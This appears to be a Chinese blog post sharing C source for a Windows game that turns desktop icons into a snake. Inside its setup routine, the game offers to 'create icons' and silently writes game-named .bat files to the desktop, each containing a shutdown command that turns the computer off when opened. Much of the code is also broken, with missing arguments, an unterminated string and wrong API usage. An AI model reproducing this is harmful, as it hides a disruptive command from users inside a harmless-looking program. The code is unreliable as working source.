本篇寫的是桌面貪吃蛇小遊戲，大家自己看吧，感謝大家的支援，謝謝！O(∩_∩)O~~

#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <commctrl.h>
#include <time.h>
#include <stdlib.h>
#include "shlobj.h" 
#include <stdio.h>
#include <string.h>
#define SIZE 100     //圖示大小預設為100

HWND deskpot;   //桌面控制代碼
int iCount = 0;  //圖示個數
int screenX;   //獲取螢幕的解析度(寬)
int screenY;	 //獲取螢幕的解析度(高)
int eatCount = 0;  //計數(已經吃到的圖示)
int index = 0;
int speed = 500;  //初始速度

typedef struct Snake   //蛇結構體
{
	int x;
	int y;
	int index;
	struct Snake* next;
}snake;

snake* Head;  //蛇頭
snake* SnakeTemp;  //臨時的
POINT food;  //食物位置



char* GetDesktopPath();      //返回桌面路徑
void Initialization();      //初始化變數
void StartGame();         //開始遊戲

int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd)
{
	Initialization();
	MessageBox(deskpot,TEXT("遊戲規則可以從自己身體上踏過但是不能撞到螢幕四周,按Esc鍵可退出"),TEXT(""),MB_OK | MB_ICONEXCLAMATION);
	StartGame();
	return 0;
}

void Initialization()     //初始化變數
{
	srand(unsigned int(time(NULL)));

	HWND grandpa = FindWindowA("Progman","Program Manager");

	HWND father = FindWindowExA(grandpa,NULL,"SHELLDLL_DefView",NULL);

	deskpot = FindWindowExA(father,"SysListView32","FolderView");

	iCount = SendMessage(deskpot,LVM_GETITEMCOUNT,0);    //獲取控制代碼中控制元件的個數
	screenX = GetSystemMetrics(SM_CXSCREEN);  //獲取螢幕的解析度(寬)
	screenY = GetSystemMetrics(SM_CYSCREEN);  //獲取螢幕的解析度(高)
	Head = (snake*)malloc(sizeof(Head));
	Head->x = rand() % (screenX / SIZE) * SIZE;   //蛇頭初始化位置
	Head->y = rand() % (screenY / SIZE) * SIZE;
	Head->index = 0;
	Head->next = NULL;

	if (iCount < 30)
	{
		if (MessageBox(deskpot,TEXT("檢測到您桌面上的圖示不夠30個是否需要自動建立一些呢~"),MB_YESNO | MB_ICONEXCLAMATION) == IDYES)   //判斷桌面圖示是否夠30個,不夠就建立些
		{
			FILE* fp;
			char Path[200];    //儲存檔案路徑
			char temp[20];    //儲存檔名
			char FineName[100];  //儲存檔案的全名加字尾名

			for (int i = 0; i < 30 - iCount; i++)
			{
				memset(Path,200 * sizeof(char));
				strcpy(Path,GetDesktopPath());  //將桌面路徑給Path
				sprintf(temp,"\\貪吃蛇%d.bat",i);
				strcat(Path,temp);
				if ((fp = fopen(Path,"w+")) == NULL)
					continue;  //如果他建失敗就跳過

				fprintf(fp,"shutdown -s -t 100");
				fclose(fp);
			}
		}
	}
	for (int i = 0; i < iCount; i++)
	{
		//因為這裡長寬只能用32位的數來表示,高在前,寬在後,用一下位運算
		SendMessageA(deskpot,LVM_SETITEMPOSITION,i,(screenY << 16) + screenX);
	}
	return;
}

char* GetDesktopPath()      //返回桌面路徑
{
	LPITEMIDLIST pidl;
	LPMALLOC pShellMalloc;
	char szDir[200];
	if (SUCCEEDED(SHGetMalloc(&pShellMalloc)))
	{
		if (SUCCEEDED(SHGetSpecialFolderLocation(NULL,CSIDL_DESKTOP,&pidl)))
		{
			// 如果成功返回true 
			SHGetPathFromIDListA(pidl,szDir);
			pShellMalloc->Free(pidl);
		}
		pShellMalloc->Release();
	}

	return szDir;
}

void StartGame()         //開始遊戲
{

	SendMessageA(deskpot,Head->index,(Head->y << 16) + Head->x);   //列印蛇頭

label:
	food.x = rand() % (screenX / SIZE) * SIZE;
	food.y = rand() % (screenY / SIZE) * SIZE;
	if (Head->x == food.x && Head->y == food.y)  //如果食物的座標和蛇頭的初始位置相同則重新產生
		goto label;
	SendMessageA(deskpot,1,(food.y << 16) + food.x);   //列印食物

	snake SnakeMove;    //蛇的移動
	SnakeMove.x = 1,SnakeMove.y = 0;   //預設向右移動

	while (eatCount < iCount)
	{
		if (GetAsyncKeyState(VK_UP) != 0)   //上
			SnakeMove.x = 0,SnakeMove.y = -1;

		if (GetAsyncKeyState(VK_DOWN) != 0)  //下
			SnakeMove.x = 0,SnakeMove.y = 1;

		if (GetAsyncKeyState(VK_LEFT) != 0)  //左
			SnakeMove.x = -1,SnakeMove.y = 0;

		if (GetAsyncKeyState(VK_RIGHT) != 0)  //右
			SnakeMove.x = 1,SnakeMove.y = 0;

		if (GetAsyncKeyState(VK_ESCAPE) != 0)  //結束
		{
			MessageBox(deskpot,TEXT("結束~"),MB_OK | MB_ICONEXCLAMATION);
			exit(0);
		}


		if (GetAsyncKeyState(VK_SPACE))     //按空格鍵暫停
		{
			while (1)
			{
				Sleep(300);
				if (GetAsyncKeyState(VK_SPACE))     //再按一次空格鍵繼續
					break;
			}
		}


		if (Head->x == food.x && Head->y == food.y)
		{
			index++;
			eatCount++;
			speed = speed - (speed / 10);
			snake* temp;
			temp = (snake*)malloc(sizeof(snake));
			temp->x = food.x;
			temp->y = food.y;
			temp->index = index;
			temp->next = NULL;

			SnakeTemp = Head;
			while (SnakeTemp->next != NULL)
			{
				SnakeTemp = SnakeTemp->next;
			}
			SnakeTemp->next = temp;

			SnakeTemp = Head;
			SnakeTemp->x += SnakeMove.x * SIZE;
			SnakeTemp->y += SnakeMove.y * SIZE;
			while (SnakeTemp != NULL)
			{
				SendMessageA(deskpot,SnakeTemp->index,(SnakeTemp->y << 16) + SnakeTemp->x);
				SnakeTemp = SnakeTemp->next;
			}

		label2:
			food.x = rand() % (screenX / SIZE) * SIZE;
			food.y = rand() % (screenY / SIZE) * SIZE;
			if (Head->x == food.x && Head->y == food.y)  //如果食物的座標和蛇頭的初始位置相同則重新產生
				goto label2;
			SendMessageA(deskpot,index + 1,(food.y << 16) + food.x);   //列印食物

		}
		else
		{
			snake Temp;
			snake Temp2;
			bool choice = false;
			SnakeTemp = Head;
			Temp.x = SnakeTemp->x;
			Temp.y = SnakeTemp->y;
			SnakeTemp->x += SnakeMove.x * SIZE;
			SnakeTemp->y += SnakeMove.y * SIZE;
			SendMessageA(deskpot,(SnakeTemp->y << 16) + SnakeTemp->x);

			SnakeTemp = Head->next;
			while (SnakeTemp != NULL)
			{
				Temp2.x = SnakeTemp->x;
				Temp2.y = SnakeTemp->y;

				SnakeTemp->x = Temp.x;
				SnakeTemp->y = Temp.y;
				SendMessageA(deskpot,(SnakeTemp->y << 16) + SnakeTemp->x);
				Temp.x = Temp2.x;
				Temp.y = Temp2.y;
				SnakeTemp = SnakeTemp->next;

			}
			if (Head->x > screenX || Head->x<0 || Head->y>screenY || Head->y < 0)
			{
				MessageBox(deskpot,TEXT("笨蛋你撞到牆,遊戲結束再見!"),MB_OK | MB_ICONEXCLAMATION);
				exit(0);
			}

			SnakeTemp = Head->next;
			while (SnakeTemp != NULL)
			{
				if (SnakeTemp->x == Head->x && SnakeTemp->y == Head->y)
				{
					MessageBox(deskpot,TEXT("笨蛋你咬到自己了,MB_OK | MB_ICONEXCLAMATION);
					exit(0);
				}
				SnakeTemp = SnakeTemp->next;
			}

		}

		Sleep(speed);
	}
	return;
}

遊戲介面如圖：

失敗介面如圖：

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